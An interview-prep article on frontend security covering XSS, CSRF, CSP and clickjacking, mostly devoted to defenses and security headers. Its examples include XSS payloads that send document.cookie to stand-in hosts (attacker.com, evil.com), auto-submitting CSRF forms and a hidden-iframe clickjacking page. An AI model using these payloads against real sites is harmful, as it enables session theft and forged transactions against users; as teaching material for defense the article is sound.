Security11 min read · Updated 2026-06-01

Frontend Security: XSS, CSRF, CSP, and Clickjacking Explained

A complete guide to the four frontend security threats that appear in senior interviews — with attack vectors, concrete code examples, and the exact defenses that work.

💡 Practice these concepts interactively with AI feedback

Start Practicing →

Frontend Security: XSS, CSRF, CSP, and Clickjacking Explained

Frontend security appears more often in senior interviews than most developers expect. Not because interviewers are trying to catch you out — but because security vulnerabilities in frontend code have real consequences. This guide covers the four most important attacks and their defenses.

1. XSS — Cross-Site Scripting

### What It Is

XSS occurs when an attacker injects malicious JavaScript into your page that executes in other users' browsers. Because it runs in your origin, it has full access to cookies, localStorage, DOM, and the ability to make authenticated requests on the victim's behalf.

### The Three Types

Stored XSS — malicious script saved to a database, rendered to all users who load that content.

<!-- Attacker posts a comment with: --> <script>   fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Every user who sees this comment gets their cookie stolen -->

Reflected XSS — script in a URL parameter reflected back in the response.

https://example.com/search?q=<script>stealCookies()</script>

DOM-based XSS — client-side code writes attacker-controlled data to the DOM.

// Vulnerable const name = new URLSearchParams(location.search).get('name'); document.getElementById('greeting').innerHTML = 'Hello, ' + name; // URL: /page?name=<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">

### Prevention

// ✅ Safe — textContent doesn't parse HTML
document.getElementById('greeting').textContent = 'Hello, ' + name;

// ✅ React JSX is safe by default — it escapes all values function Greeting({ name }) { return <div>Hello, {name}</div>; // name is escaped }

// ❌ React's escape hatch — only use with sanitized HTML <div dangerouslySetInnerHTML={{ __html: sanitize(userHtml) }} />

// ✅ Sanitize rich HTML with DOMPurify import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(untrustedHtml); element.innerHTML = safe;

Secondary defense: httpOnly cookies. If scripts can't read cookies, stolen sessions are harder even if XSS succeeds.

---

2. CSRF — Cross-Site Request Forgery

### What It Is

An attacker's page tricks your browser into sending an authenticated request to your server. The browser automatically sends cookies with every same-domain request — even requests initiated from a different domain.

<!-- Attacker's page — victim is logged into bank.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Browser sends GET with all bank.com cookies — authenticated -->

<form action="https://bank.com/transfer" method="POST" id="form"> <input name="to" value="attacker" /> <input name="amount" value="10000" /> </form> <script>document.getElementById('form').submit();</script> <!-- Auto-submits POST with cookies — the server can't tell it's forged -->

### Prevention

SameSite Cookie Attribute (Primary Defense)

Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure 

Strict — cookie not sent on ANY cross-site request (including links)

Lax (default) — cookie sent on top-level GET navigations, not on POST/sub-resource

None — sent on all cross-site requests (requires Secure)

CSRF Tokens (Defense in Depth)

// Server generates a random token per session const csrfToken = crypto.randomBytes(32).toString('hex'); session.csrfToken = csrfToken;

// Client includes it in every state-changing request headers: { 'X-CSRF-Token': csrfToken } // Attacker can't forge this header — same-origin policy prevents reading it

Use Authorization Headers for APIs

// Custom headers can't be set in CSRF attacks fetch('/api/transfer', {   headers: { 'Authorization': 'Bearer ' + token } }); // Forms and img tags can't set custom headers

---

3. CSP — Content Security Policy

### What It Is

CSP is an HTTP response header that whitelists which sources can load scripts, styles, images, and make connections. Even if an attacker injects a script tag, CSP prevents it from executing.

### A Practical CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.trusted.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.yourapp.com;
  font-src 'self' https://fonts.gstatic.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

### Nonces — The Gold Standard

Instead of whitelisting entire origins for scripts, use cryptographic nonces:

// Server generates a unique nonce per request
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', script-src 'nonce-${nonce}');

// Only scripts with this nonce execute

<script nonce="rAnd0mNonce123">   // This executes — has the nonce </script> <script>   // This is blocked — no nonce   stealData(); </script>

Avoid unsafe-inline and unsafe-eval — they defeat most of CSP's protections.

### Starting with Report-Only Mode

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Violations are reported but not blocked. Use this to audit your existing app before enforcing.

---

4. Clickjacking

### What It Is

An attacker embeds your site in a transparent iframe on their page. Users think they're clicking on the attacker's content but are actually clicking on hidden buttons on your site.

<!-- Attacker's page -->
<style>
  iframe { opacity: 0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
</style>
<iframe src="https://yourbank.com/transfer?to=attacker"></iframe>
<button>Click to win $1000!</button>
<!-- User clicks "win $1000" but actually clicks "confirm transfer" on your bank -->

### Prevention

# HTTP header — prevents any framing
X-Frame-Options: DENY

Or via CSP (preferred — more flexible)

Content-Security-Policy: frame-ancestors 'none'

Allow framing only by specific origin

Content-Security-Policy: frame-ancestors 'self' https://trusted.com

---

The Complete Security Headers Checklist

Content-Security-Policy: default-src 'self'; frame-ancestors 'none'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

What each does:

  • HSTS: forces HTTPS for all future visits — even if user types http://
  • X-Content-Type-Options: nosniff — prevents browser from guessing MIME type and executing uploaded files as scripts
  • Referrer-Policy — controls how much of the current URL is sent in the Referer header

---

Interview Summary

The four attacks and their primary defenses:

| Attack | Primary Defense | Secondary Defense | |--------|----------------|-------------------| | XSS | textContent not innerHTML; React JSX auto-escape | CSP; httpOnly cookies | | CSRF | SameSite=Lax/Strict | CSRF tokens; Authorization headers | | Clickjacking | frame-ancestors 'none' | X-Frame-Options: DENY | | Token theft | httpOnly cookies | Short token expiry |

Always mention the httpOnly cookie as the connection between XSS and token storage — it shows you understand how the attacks interact.

Put This Into Practice

Reading articles is passive. JSPrep Pro makes you actively recall, predict output, and get AI feedback.

Start Free →Browse All Questions

Related Articles

Deep Dive
We Built a RAG-Powered AI Question Engine Into a JavaScript Interview Platform — Here's Exactly How It Works
12 min read
Build Systems
Monorepo with Turborepo vs Nx: The Complete Comparison (2025)
9 min read
Core Concepts
map() vs forEach() in JavaScript: Which One to Use and Why It Matters
7 min read